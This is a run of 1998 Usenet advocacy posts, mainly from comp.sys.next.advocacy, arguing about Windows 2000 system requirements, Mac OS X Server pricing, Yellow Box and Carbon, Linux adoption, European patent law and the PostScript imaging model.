> Windows2000 Datacenter Server
>
> is supposed to make things any easier?... If anything, they are even
> MORE confusing!
>
> Secondly...
>
> According to information at http://www.ntfaq.com, these are the new
> minimum requirements for installing Windows2000 Professional, Windows
> 2000 Server, Windows2000 Advanced Server, and Windows2000 Datacenter
> Server:
>
Ok, I don't have the proof, but I'll assume these are true:
> -- VGA or better display (duh!).
>
> Okay, sounds reasonable...
>
Ah, but if there were a GUIless version, all I need is monochrome...
> -- At least a Pentium CPU that runs at 166MHz, or higher.
>
> What?... You're joking, right?...
More WinTel at work here. Windows brings up the req, intel sells more
400Mhz crap
>
> -- A minimum of 300MB of disk space (400MB minimum for Win2000 Server).
> NOTE: Disk space requirements are dependent upon what features are
> used (NTFS vs. FAT, network install vs. a local install, etc).
>
> Uhm... is there a camera somewhere... am I on T.V.?...
>
300? JFC, that's a bit steep.
> -- A minimum of 32MB of RAM (64MB minimum for Windows 2000 Server).
>
> You have _GOT_ to be fucking kidding me!@#
>
> What. In. The. Hell. Are. They. Thinking?!@#
>
Sooo in reality 128. I've seen 95 run on the min 4. It is NOT pretty.
I'm sorry, you all know me as the resident anarchist/anti-crapitalist
but COME ON. Is this really what you want?
--
/--------------------------------------------------------------\
| chaotic42@digiscape.com |
| -------------------------------------------------------------|
| http://130.74.57.55 | ftp://130.74.57.55 |
| HTML Color Table | Roms |
| Monty Python | Mp3's |
| The largest prime | Images |
| And of course, the Phantom Menace trailer |
| Please visit my site often! It will be updated! |
|--------------------------------------------------------------|
| Don't fear the penguins! |
\ -------------------------------------------------------------/
From: Stephen Edwards <ja207030@primenet.com>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: ATTN: Now _THIS_ really is ludicrous!...
Date: 20 Nov 1998 14:26:31 GMT
Organization: Anamorphic 3-D Graphics Inc.
Message-ID: <733u6n$a06$1@nnrp02.primenet.com>
References: <7329lg$ot0$1@nnrp02.primenet.com>
Stephen Edwards <ja207030@primenet.com> wrote:
Well, considering what many of you have responded with, it seems like I
really have jumped the gun. Now that some of you have stated that other
UNIX variants have the same or higher requirements, it sort of puts
everything back into perspective. Personally, I have not had any
experience with high-end computer systems, and so I suppose I was merely
unaware that such requirements are actually quite common.
All of my computing experience is with PC-class hardware/software, so I
guess you could say I was stuck in a bit of a paradigm. :) But thanks to
all of you for your informative responses... as I said, they put things
into perspective for me. :)
[] Footnote server is currently down...
--
.-----.
|[_] :| Stephen S. Edwards II | http://www.primenet.com/~rakmount
| = :| Support the shareware authors... register your software!
| | Please send all flames, trolls, and complaints to /dev/toilet.
|_..._| LUSER: I have a problem. ADMIN: Keep talking... I'm reloading.
From: "Matt Wood" <matthew.wood@bbc.co.uk>
Newsgroups: comp.sys.next.advocacy
Subject: Re: crazy idea but ah....m68k
Date: Fri, 20 Nov 1998 14:33:02 -0000
Organization: British Broadcasting Corporation, UK
Message-ID: <733uc0$4g5$1@nntp0.reith.bbc.co.uk>
References: <user-2011980144560001@dub234042.columbus.rr.com>
NNTP-Posting-Date: 20 Nov 1998 14:29:20 GMT
I'm just getting ready to be disappointed when my 'consumer portable'
doesn't run yb stuff :-(
inphlux wrote in message ...
>From the MWSF lineup:
>"Apple Computer presents a revealing look at their system software
>strategy of the future. You'll learn about directions for 68000, PowerPC
>and G3 systems and hear what important modern operating system features
>Apple will be providing in coming releases. Get-up-to-date on the System
>8.5 and Mac OS X in this informative session."
>
>With MS and Citrix rolling out vnc-like windowing clients for old 3.1
>boxes to work with NT servers, ya think apple might have something similar
>in its vapor cloud somewhere? We know NEXT's OS ran on m68k, and perhaps
>some sort of thin yellow-box client could be worked up for old 68k macs...
>
>ix
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: nice essay - a billion desktops
Date: 20 Nov 1998 14:41:40 GMT
Organization: Primenet (602)416-7000
Message-ID: <733v34$7tn$1@nnrp03.primenet.com>
References: <72s6bh$dfl$1@nnrp03.primenet.com> <nevin-2011980247420001@d149.focal8.interaccess.com>
Nevin ":-]" Liber <nevin@CS.Arizona.EDU> wrote:
: I also noticed how you conveniently forgot to comment on his more
: ludicrious claims such as "I believe that at a zero price, open source
: projects with the sweet spot of the most important 20% of the features,
: will have a better appeal for the least skilled computer users; people who
: just want to do simple things like writing a letter, and who'd be pleased
: to not pay more than $250 for hardware and software."
: As if the least skilled computer users will give a damn if the source is
: open, let alone preferring to program/compile/debug a TeX document with
: Emacs instead of just typing it in with something like SimpleText or
: WinPad. Keep dreaming...
I think he is assuming KDE or Gnome applications.
John
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: New date for OS X Server?
Date: Fri, 20 Nov 1998 14:36:27 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <733up8$l4h$1@nnrp1.dejanews.com>
References: <01be1188$01ce14e0$06387880@chewy> <whaddock-1711981824460001@digital-03-213.hou.neosoft.com> <72tfuq$oj0@shelob.afs.com> <ZIt42.1609$rY3.5423920@news.rdc1.sdca.home.com> <01be1317$dca3f220$06387880@chewy> <731j16$6r4$1@ash.prod.itd.earthlink.net> <%G%42.2862$rY3.6449682@news.rdc1.sdca.home.com> <732c5r$bim$1@nnrp1.dejanews.com> <732qrv$ae5@news1.panix.com>
sal@panix.com wrote:
> spagiola wrote:
> >Stupid stunts like over-pricing OS X Server would be a severe kick in the
> >b***s of yellow-box developers, and I do hope that Greg's pessimism is
> >unfounded.
>
> I would be shocked if the price was under $500. The term "server" was
> added for a reason; I very much doubt that Apple thinks that OSXS will
> sell in large numbers.
Of course they won't, if they charge $500 for it. That's called a
self-fulfilling prophesy.
If they're determined to prove that OSX Server will fail in the marketplace,
they certainly seem to be following the right approach.
Stefano Pagiola
---
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows NT user, future MacOS X
Server user
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: tsivertsen@c2i.net (Thomas Sivertsen)
Newsgroups: comp.sys.next.advocacy
Subject: Re: OSXS bad news, or "never give a zuckur a thumb"
Date: Fri, 20 Nov 1998 15:57:10 +0100
Organization: =?ISO-8859-1?Q?h=F8h=3F/Asylant?=
Message-ID: <199811201557101188075@mp-212-250.daxnet.no>
References: <7315of$5l0$1@sun27.hrz.tu-darmstadt.de> <733ihn$aro$1@nnrp1.dejanews.com>
<malcolm@plsys.co.uk> wrote:
> In article <7315of$5l0$1@sun27.hrz.tu-darmstadt.de>,
> neuss.nos-pam@informatik.th-darmstadt.de.nos-pam wrote:
> > Hey, Malcolm is back :-) Hi Mmalc, good to see yah.
> >
> Hiya! :-)
>
> Very busy at the moment, but will try to pop by more regularly when the
> current rush is over.
>
> Best wishes,
>
> mmalc.
>
That`s good news. Why would he be busy unless htere is something
important to us all happening?
Couldn`t resist! ;-)
--
Cheers, Thomas Sivertsen
tsivertsen@c2i.net
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: nice essay - a billion desktops
Date: 20 Nov 1998 14:58:23 GMT
Organization: Primenet (602)416-7000
Message-ID: <73402f$7tn$2@nnrp03.primenet.com>
References: <72s6bh$dfl$1@nnrp03.primenet.com> <nevin-2011980247420001@d149.focal8.interaccess.com>
BTW, Microsoft thinks Linux poses a real threat to its monopoly over PC
operating systems:
http://www.zdnet.com/zdnn/stories/news/0,4586,2167419,00.html
John
From: Paul Wolff <paul@wolff.co.uk>
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! "The effect of patents and copyright in combatting Linux...."
Date: Fri, 20 Nov 1998 13:20:04 +0000
Organization: UDL (Reading)
Message-ID: <UWCYUEAEyWV2EAbp@wolff.co.uk>
References: <71u48m$dop$3@news.xmission.com>
<slrn74a2v0.roj.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
<364521d7.0@news.depaul.edu> <3645B66C.397A603A@ieee.org>
<3646A021.162FC622@ix.netcom.com>
<qv64ss862wy.fsf@physp43.phys.canterbury.ac.nz>
<3647E15E.7A2232BA@ix.netcom.com>
<qv6ogqf6nay.fsf@physp43.phys.canterbury.ac.nz>
<36493AF7.BDFE3CAA@ix.netcom.com> <364b1f14.1124576@news.demon.co.uk>
<KAi$REAcsAT2EAIj@wolff.co.uk> <364C3479.5C1BFBB5@cadence.com>
<oFPnADAoPFT2EA9z@wolff.co.uk> <36598246.6204950@news.demon.co.uk>
<m2yapc5118.fsf@barnowl.demon.co.uk> <bh$rJLA2+BU2EAgc@wolff.co.uk>
<3651AAC1.B9AF1766@cadence.com> <ypmhbBAQVpU2EAFd@wolff.co.uk>
<3654F20A.DE49DEB8@uco-iplaw.com>
MIME-Version: 1.0
In article <3654F20A.DE49DEB8@uco-iplaw.com>, John Kheit <jkheit@uco-
iplaw.com> writes
>Paul Wolff wrote:
>
>> Which is why most countries allow their Patent Offices to hear third
>> parties' views before a patent is finally granted, or more usually
>> within a limited time (often 9 months - I don't know the significance of
>> that choice of time frame!) after grant, and - most importantly - to
>> allow the third party a say in the argument with the applicant, the
>> ability to adduce evidence and to be heard in a final determinative
>> hearing (and any appeal). The procedure is far less expensive than
>> court proceedings, within a simple framework, administered by a
>> specialised department of the Patent Office, and judged by senior and
>> experienced examiners. It is usually called Opposition.
>
>In the US we have mechanisms to challenge the validity of a patent in rather
>cheap ways. I like the presumption of validity as a means of publishing things
>for everyone to see. If the patent is worth fighting over, one can send
>torpedos in rather easy and cheap ways. Filing art with the office or starting
>a reexamination are a couple of relatively cheap ways to do some damage.
>
But you are then kept out of the ensuing patentability discussion. So
if the examiner, without the benefit of your further input, is over-
generous (or makes an error) and allows the patent, the presumption of
validity coupled with the fact that the piece of art has been considered
in the Patent Office before allowance must leave you in a worse
position. You have used up your ammunition without having made the best
use of it.
--
Obiter scripta - Paul Wolff
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: New date for OS X Server?
Date: Fri, 20 Nov 1998 14:51:42 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <733vlm$lqj$1@nnrp1.dejanews.com>
References: <01be1188$01ce14e0$06387880@chewy> <whaddock-1711981824460001@digital-03-213.hou.neosoft.com> <72tfuq$oj0@shelob.afs.com> <ZIt42.1609$rY3.5423920@news.rdc1.sdca.home.com> <01be1317$dca3f220$06387880@chewy> <731j16$6r4$1@ash.prod.itd.earthlink.net> <%G%42.2862$rY3.6449682@news.rdc1.sdca.home.com> <732c5r$bim$1@nnrp1.dejanews.com> <732qrv$ae5@news1.panix.com> <732sko$a4e@shelob.afs.com> <36550c88.17937362@news.icx.net>
mmccullo@nospam.net (Michael McCulloch) wrote:
> >Barring a miracle, the die is cast: Snake-eyes and boxcars. Curiously, I
> >can't even bring myself to get angry about it anymore.
>
> Congrats Greg! You have finally recovered from the NeXT religion. The
> absence of anger is a key indicator!
> Seriously, I can sympathize with your situation. I was a potential
> customer for your apps, but apparently Apple/NeXT won't allow me the
> privilege.
Well, let's wait and see what happens, though it certainly doesn't look good.
> Am I the only person who has just about had enough with the whole
> computer thing? Selling guitars sounds like more fun as a career
> choice. Microsoft has turned software development into a commodity
> skill. Programmers now face the same economic pressures as did US
> assembly lines of the 80's.
Thing is, there are people like me around who aren't in this as a career. I'd
just like to get on with doing my job, which is NOT programming, and I'd like
to have the best tools I can to do that. Since 1991, NeXTSTEP has provided
those tools. But despite the extraordinary longevity of NeXT hardware and
software, it's time to move on to something for which I can actually buy
apps.
And what are my choices?
Windows? Bleah! I'm forced to use an NT4 box for some of my work, and though
it's a vast improvement on Windows 3.1 or 95/98, for anyone used to NeXTSTEP
it's incredibly aggravating.
MacOS? Sorry, but no matter what tweaking they've done to it recently, it
remains fundamentally an old OS lacking what I consider to be essential
features. And it's a dead-end, since no matter what it's going away soon.
I'll continue using it on my Powerbook when I'm on the road, but for daily,
intensive work, it's inadequate.
Rhapsody, or MacOS X Server, was to be the answer to my prayers. And maybe it
will be. It seems ludicrous to think that the brilliant people who
masterminded the success of the iMac would decide to deliberately shoot
themselves in the foot with OS X Server.
Stefano Pagiola
---
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows NT user, future MacOS X
Server user
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: New date for OS X Server?
Date: Fri, 20 Nov 1998 14:40:27 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <733v0n$l7s$1@nnrp1.dejanews.com>
References: <01be1188$01ce14e0$06387880@chewy> <whaddock-1711981824460001@digital-03-213.hou.neosoft.com> <72tfuq$oj0@shelob.afs.com> <ZIt42.1609$rY3.5423920@news.rdc1.sdca.home.com> <01be1317$dca3f220$06387880@chewy> <731j16$6r4$1@ash.prod.itd.earthlink.net> <%G%42.2862$rY3.6449682@news.rdc1.sdca.home.com> <732c5r$bim$1@nnrp1.dejanews.com> <732qrv$ae5@news1.panix.com>
sal@panix.com wrote:
> I think the coolest thing they can do is ship it on all the new machines they
> sell. Set up a dual-boot and let users decide which OS to keep. Perhaps it
> would sell more Macs? Maybe a free copy of OSX would be enough to get a bunch
> of those 040 and Nubus PPC Mac users to upgrade?
Or just bundle it with high-end machines, like anything with a G3 of 300MHz
or more. If they want to stimulate high-end hardware sales, that certainly
ought to help.
> >What would constitute a reasonable price for OSX server? The MAXIMUM is
> >whatever MS is currently charging for NT Workstation. Ideally, it would be a
> >lot less.
>
> And if it did, would Apple be able to support it? Has Apple been building
> up its support staff? Set up a facility for dealing with OSX customer
> service?
> This is one of those odd situations where success could be the reason for
> failure. I think the most viable plan would be to sell as many as they can
> support, and then try and support as many as they can sell. Building up
> an infrastructure to resell and support the OSX isn't going to happen
> over night.
Hey, they've only had TWO YEARS to prepare for this. Are you suggesting that
they're that incompetent?
> >Ideally, it would be the same as OS8.5 (exclusive of the developer
> >tools).
>
> Since it comes with MacOS as well, I think it makes sense to charge a
> bit more for it.
I have no problems with "a bit more". In the part of my post you clipped, I
said a premium over OS8.5 would be reasonable. But again, anything over twice
the OS8.5 price and they're just killing their own market.
Stefano Pagiola
---
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows NT user, future MacOS X
Server user
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: milo_mklinux@my-dejanews.com (Milo MkLinux)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: nice essay - a billion desktops
Message-ID: <36558960.5436211@news.chicagonet.net>
References: <72s6bh$dfl$1@nnrp03.primenet.com> <nevin-2011980247420001@d149.focal8.interaccess.com>
NNTP-Posting-Date: Fri, 20 Nov 1998 10:40:21 EDT
Organization: ISPNews http://ispnews.com
Date: Fri, 20 Nov 1998 15:41:14 GMT
On Fri, 20 Nov 1998 02:47:41 -0600, nevin@CS.Arizona.EDU (Nevin ":-]"
Liber) wrote:
>In article <72s6bh$dfl$1@nnrp03.primenet.com>, John Jensen
><jjens@primenet.com> wrote:
>
>> There is a nice essay over at freshmeat:
>> http://editorials.freshmeat.net/ajay981115/
>
>Nice if you are willing to suspend your belief in reality. Other than that, ...
>
>> Computing is becoming a world phenomenum. The author raises the
>> interesting point that the inexpensiveness of Linux could give it a
>> billion desktops in less affluent nations.
>
>Which, of course, simplistically ignores how it got to be on 80%+ desktops
>in the rest of the world.
Consider that about 60% of Americans and 75% of the world have NO
computers of ANY kind. When they give you a "world-wide" computer
market figure, you have to ask "which world are you talking about?"
:D
>He conveniently forgets that Microsoft has deals with just about every PC
>manufacturer which pretty much insures that Windows will shipping on each
>and every one of those boxes. From a customer point of view, Windows is
>free, and much more hassle free than having to actually perform an
>installation.
This is true for American manufacturers, not for build-it-yourselfers
and not so much for manufacturers in other parts of the world.
>Even if we ignore that part of reality, piracy will be rampant, again
>making the effective cost for a customer bring free.
Good point. I guess that's why you need a 12 digit number to
install, and MS wants to check out your HD when you log in to their
Web site for your free upgrades. :D
>Even if we ignore that, if Microsoft actually notices that it isn't
>getting that market, they can just decide to dump/donate software to it,
>driving the cost that the customor directly pays down to $0.
That is deja vu all over. :D
>> Even if the billion number falls short, I thing the demographic trend
>> should be considered.
>
>I'm sure that most hardware manufacturers are considering it.
>
>> It might mean for Apple that world wide share will
>> never again go up.
>
>It might mean for Apple that it will dominate world wide share. It's
>trivial to throw around unsupportable statements like these around.
Hear, hear!
>> I'm sure Apple can continue to make a business in affluent countries, but
>> even there some customers might prefer a world platform.
>
>Which, for better or for worse, would be Windows, not Linux.
I can't agree. Windows will always have a dominate position, no
doubt. But a significant number of users will use Linux along with
it, if not as a replacement for it.
>
>I also noticed how you conveniently forgot to comment on his more
>ludicrious claims such as "I believe that at a zero price, open source
>projects with the sweet spot of the most important 20% of the features,
>will have a better appeal for the least skilled computer users; people who
>just want to do simple things like writing a letter, and who'd be pleased
>to not pay more than $250 for hardware and software."
That's one of the strengths of Linux. It will run on ANYTHING. No
forced hardware upgrades in the Linux World. :D They'll be happy to
support your $250 hardware. There's even a project to put Linux on
the Palm Pilot.
>As if the least skilled computer users will give a damn if the source is
>open, let alone preferring to program/compile/debug a TeX document with
>Emacs instead of just typing it in with something like SimpleText or
>WinPad. Keep dreaming...
You have a point, but it's not entirely correct. There are Office
suites for Linux, and more are on the way. My LinuxPPC came up in
the KDE desktop after installation, and that isn't any harder than a
Windows desktop, IMHO. In fact, it has many features that will be
familiar to Windows, Mac and even OS/2 users. :D
There is also a KDE Office Suite under development.
> Nevin ":-)" Liber <mailto:nevin@CS.Arizona.EDU> (847) 831-FLYS
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.mac.hypercard,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: A problem with QuickTime Vectors and Apple's graphics strategy...
Content-Type: text/plain; charset=us-ascii
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Sender: news@T-FCN.Net
Content-Transfer-Encoding: 7bit
Cc: english@primenet.com
Organization: needs one
References: <B27A4B1E-2812E@206.165.43.102>
Mime-Version: 1.0
Date: Fri, 20 Nov 1998 15:45:28 GMT
In <B27A4B1E-2812E@206.165.43.102> "Lawson English" wrote:
> Here's a question for you:
>
> How does one preview the appearance of QuickTime Vector Graphics?
With QuickTime.
I have a better question, what apps are using QTVG? As you note...
> Answer: there ain't any.
> Answer: YB graphics is based on Carbon. Apple or someone else would STILL
> have to take the QT Vectors format and convert that into something that
> end-users can use in a graphics app.
ZZZtt wrong. Again. We've been over this, YB is not based on Carbon.
> Personally, I think that this situation is appalling (and lets not even
> mention the less capable Carbon API graphics model that is being used
> *instead of* the obviously superior GX API).
Personally I think you're the only one.
Maury
From: milo_mklinux@my-dejanews.com (Milo MkLinux)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: ATTN: Now _THIS_ really is ludicrous!...
Message-ID: <36558f11.6893462@news.chicagonet.net>
References: <7329lg$ot0$1@nnrp02.primenet.com> <ee352.3248$%X5.8067515@newsgate.direct.ca>
NNTP-Posting-Date: Fri, 20 Nov 1998 10:49:41 EDT
Organization: ISPNews http://ispnews.com
Date: Fri, 20 Nov 1998 15:50:34 GMT
On Thu, 19 Nov 1998 17:03:19 -0800, "Allan Meidlein"
<allan.meidlein@bcstechnology.com> wrote:
>Maybe you should realise that these requirements aren't that crazy; consider
>for a moment that SCO UnixWare7 and Sun Solaris7 require a minimum of a
>Pentium CPU, 32 Mb, and 0.5 - 1 Gb of disk space. And these are the BARE
>minimum; using the CDE ( Common Desktop Environment ) with 32 Mb is
>agonising If you're suggesting that these requirements are the result of
>"bloated code," then how does one explain the requirements for Unix
>servers?? Deal with it; the days of 16 Mb and Pentiums were over long ago.
>
You're making a good case for Linux and BSD. LinuxPPC Lite fits in
*70 MB of disk*. :D The days of 16 MB and Pentiums aren't over
Linux or BSD users. :D
Newsgroups: comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: New date for OS X Server?
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Cc: spagiola@my-dejanews.com
Organization: needs one
References: <01be1188$01ce14e0$06387880@chewy> <whaddock-1711981824460001@digital-03-213.hou.neosoft.com>
<72tfuq$oj0@shelob.afs.com> <ZIt42.1609$rY3.5423920@news.rdc1.sdca.home.com>
<01be1317$dca3f220$06387880@chewy> <731j16$6r4$1@ash.prod.itd.earthlink.net>
<%G%42.2862$rY3.6449682@news.rdc1.sdca.home.com> <732c5r$bim$1@nnrp1.dejanews.com>
Mime-Version: 1.0
Date: Fri, 20 Nov 1998 15:49:22 GMT
In <732c5r$bim$1@nnrp1.dejanews.com> spagiola@my-dejanews.com wrote:
> a price that is accessible to any would-be user. Since every single user
> who
> buys OS X Server is guaranteed to need to buy new apps (since there are no
> legacy apps at all)
Sure there are, Blue Box. Works fine.
> Stupid stunts like over-pricing OS X Server would be a severe kick in the
> b***s of yellow-box developers, and I do hope that Greg's pessimism is
> unfounded.
The biggest advantage to making Server cheap is that it gets developers
buying it and looking at YB.
Maury
Newsgroups: comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: New date for OS X Server?
Content-Type: text/plain; charset=us-ascii
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Cc: mmccullo@nospam.net
Organization: needs one
References: <01be1188$01ce14e0$06387880@chewy> <whaddock-1711981824460001@digital-03-213.hou.neosoft.com>
<72tfuq$oj0@shelob.afs.com> <ZIt42.1609$rY3.5423920@news.rdc1.sdca.home.com>
<01be1317$dca3f220$06387880@chewy> <731j16$6r4$1@ash.prod.itd.earthlink.net>
<%G%42.2862$rY3.6449682@news.rdc1.sdca.home.com> <732c5r$bim$1@nnrp1.dejanews.com>
<732qrv$ae5@news1.panix.com> <732sko$a4e@shelob.afs.com>
<36550c88.17937362@news.icx.net>
Mime-Version: 1.0
Date: Fri, 20 Nov 1998 15:51:38 GMT
In <36550c88.17937362@news.icx.net> Michael McCulloch wrote:
> Am I the only person who has just about had enough with the whole
> computer thing? Selling guitars sounds like more fun as a career
> choice. Microsoft has turned software development into a commodity
> skill. Programmers now face the same economic pressures as did US
> assembly lines of the 80's.
What are you talking about? Walking from my gate to the exit at the SF
airport I saw no less that 10 jobs posted on the pillars. When was the
last time assembly line workers were advertized for in airports? They
can't find the talent they need, they have import it from overseas. Sorry,
this is WRONG.
Maury
From: vagn@gmx.net (Vagn R. Nissen <himself@vagn.dk>)
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! "The effect of patents and copyright in combattingLinux...."
Date: Fri, 20 Nov 1998 15:52:03 GMT
Organization: Customer at Tele Danmark Erhverv
Message-ID: <36558a3d.714158248@news.tele.dk>
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <364A072C.9341779B@mohawksoft.com> <Pine.GSO.4.05.9811191310070.14908-100000@sun> <732472$256$1@plo.sierra.com> <36553271.5E95E159@online.no.spam>
On Fri, 20 Nov 1998 10:12:17 +0100, Tom Ekeberg
<tom.ekeberg@online.no.spam> wrote:
>Earl Malmrose wrote:
>> >Can I infringe patents by compiling software for my own
>> >personal non-commercial use?
>> Yes.
>> Patents are complete monopolies. You cannot use or recreate in any way what
>> is patented, without either licensing it or infringing on the patent.
....
>This would not be true under Norwegian patent law, where it is specifically
>stated that from the monopoly is excepted (among other things) use that is not
>related to business or the management of business.
>
>I assume the same is the case under EPC.
Well, the EPC doesn't really deal with infringement. It is a
convention on patent granting only (Article 1, EPC). Infringement is
dealt with nationally.
In fact Article 64(1), EPC states "A European Patent
Shall...confer....the same rights as would be conferred by a national
patent granted in that state." And Article 64(3) explicitely states
"Any infringement of a European Patent shall be dealt with by national
law." See also Article 69 and it's protocol for fun....
However, according to Danish law (Denmark is an EPC member state) a
patent only covers commercial uses. §3(3).1 of the Danish Patent Act
states substantially as follows "The monopoly does not embrace 1)
actions which are carried out for a non-commercial purpose". I believe
similar provisions apply all over Europe.
By the way. Software per se is generally not protected by patents in
Europe. In principle it is explicitly excepted from patenting, vide
e.g. A52(2)c, EPC and §1(2).3 DPA. Software per se is (in principle)
"only" protected by copyright. But thats another lengthy
discussion....
Best regards Vagn
Learn more at http://www.vagn.dk/patent/patentlaw.html
Disclaimer: This is not legal advice: Get a lawyer!!!!!
Newsgroups: comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: PostScript imaging model (was Re: Tweaking fonts)
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References: <azF02.13909$yb5.13282084@news.rdc1.sdca.home.com> <3647DCC4.4792B75A@trilithon.com>
<qc_12.116$rY3.724777@news.rdc1.sdc <72vbkd$i68$1@news.xmission.com> <F2ppF0.FB7.0.scream@sounds.wa.com>
Mime-Version: 1.0
Date: Fri, 20 Nov 1998 16:29:00 GMT
In <F2ppF0.FB7.0.scream@sounds.wa.com> Brian Willoughby wrote:
> I wouldn't suggest using the GhostScript language interpreter, partly
> because I believe that the GS licensing wouldn't allow Apple to sell
> an OS based in part on any GS code.
I don't believe this is true.
> Oh well, gone are the days of writing an app by starting on the
> display code and then adding only two lines to get the same images
> printing on any old decent printer. Having the AppKit based on DPS
> was quite powerful, I somehow doubt that it will be as cool to have
> only the imaging model just to save a few bucks on licensing,
> especially not if a cheaper OS means you have to buy a new printer
> to get true WYSIWYG.
I'm not sure there's any difference though. If the imaging model is
PS-a-like, then the translation to PS in the driver side of things is
relativily easy (relative to doing it with "normal" QD or GDI). The long
and short of it is that I'm willing to simply accept that when I do a
lineto under the new engine, it will print perfectly. I have yet to see
anyone suggest a specific technical reason why this would not be so. I
believe it will be overall almost identical to the current experience in
fact - although admittedly I'll have to chuck my cached userpaths, no sleep
lost there.
And as the boss just pointed out, this makes WindowServer a much more
lightweight system, which will have many benefits in terms of portability.
In addition the current system's performance is highly dependant on
communications issues, which are difficult to simplify or tune in any
meaningfully simple way. The long and short of it is that a client side
graphics lib will have the advantage of making the system tremendously
easier to port, likely faster (much I hope), and have less API.
> Another argument I hear is that PostScript has failed as a document
> exchange format, and that the future is PDF. Well, I don't want to
> be the stick in the mud that suggests Apple not look to the future,
> I'm just saying that they shouldn't let go of the bird in the hand.
> I also don't think that PostScript's usefulness as a document
> exchange format has to do with anything - it was not designed for
> this in any way - it's intended to be real-time to the output
> device (or so that's how I see it). There is currently a big
> investment in PostScript output devices, so I had rather see DPS on
> my screen via software instead of having to upgrade my printer,
> because I certainly want them both running the same graphics
> programming language.
This is an entirely different argument, one that your own statement
effectively nullifies. Indeed, PS is not a document interchange format,
nor will it be in the future. PDF on the other hand IS a document
interchange format, and *may* become a printing system as well. Whatever,
not important.
What _is_ important is that what you do in your engine turns out
correctly on the printer, with little or no work on your part. Do you have
any reason to believe this will not be the case? I don't, at least not so
far.
> Gee, let me go a few steps further, and really open myself up to
> the flames. NXHosting and server loops are beautiful things made
> possible by the PostScript language.
No, they can be done any number of ways that don't require a language
based medium.
As to server-side work, the ONLY advantages there are to eliminate a
problem that a client side engine doesn't have in the first place. If
communications is essentially free, UP's, server code, etc., all becomes
not only pointless, but an aditional interface that's of no real use.
Server side code is a solution to a _problem_, client side libraries don't
have this problem. I can't believe you consider this to be a *feature*.
> possible by the PostScript language. Having a single funnel for
> all the imaging commands makes it so easy to network apps (can
> you say: remote GUI front-end for hardware that you cannot access?),
And this is perhaps the only real advantage to the system. However if
the result is that the removal of the WindowServer side of the imaging
system means greater portability and speed, then I'm happy to trade this
off in return.
> rather than download code to run on the window server, but I've
> been using a NeXTdimension, with a RISC processor running the
> PostScript interpreter in parallel to the processor running my app,
> so I'm waiting for multi-processor systems that can actually win
> by off-loading graphics code to a language interpreter.
So what you're saying is that you have an almost-unique machine where the
idea of server side code works, and thus we should base the design of the
system to work on your machine, while the design would be slower on the
99.99% of all the machines that the OS is designed to serve.
Sorry, that's just DUMB.
Maury
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.mac.hypercard,comp.sys.next.advocacy
From: nagle@netcom.com (John Nagle)
Subject: Re: A problem with QuickTime Vectors and Apple's graphics strategy...
Message-ID: <nagleF2qDEL.8sw@netcom.com>
Organization: ICGNetcom
References: <B27A4B1E-2812E@206.165.43.102> <F2q93t.E6@T-FCN.Net>
Date: Fri, 20 Nov 1998 17:18:21 GMT
Sender: nagle@netcom6.netcom.com
maury@remove_this.istar.ca (Maury Markowitz) writes:
> ZZZtt wrong. Again. We've been over this, YB is not based on Carbon.
All those colored boxes never happened, right? Did any of that
stuff ever ship?
John Nagle
From: seanl@cs.umd.edu (Sean Luke)
Newsgroups: comp.sys.next.advocacy
Subject: Re: New date for OS X Server?
Date: 20 Nov 1998 17:28:42 GMT
Organization: U of Maryland, College Park, MD 20742
Message-ID: <7348sa$9dp$1@cronkite.cs.umd.edu>
References: <01be1188$01ce14e0$06387880@chewy> <whaddock-1711981824460001@digital-03-213.hou.neosoft.com> <72tfuq$oj0@shelob.afs.com> <ZIt42.1609$rY3.5423920@news.rdc1.sdca.home.com> <01be1317$dca3f220$06387880@chewy> <731j16$6r4$1@ash.prod.itd.earthlink.net> <%G%42.2862$rY3.6449682@news.rdc1.sdca.home.com> <732c5r$bim$1@nnrp1.dejanews.com> <732qrv$ae5@news1.panix.com> <732sko$a4e@shelob.afs.com>
NNTP-Posting-Date: 20 Nov 1998 17:28:42 GMT
Greg Anderson (greg@afs.com) wrote:
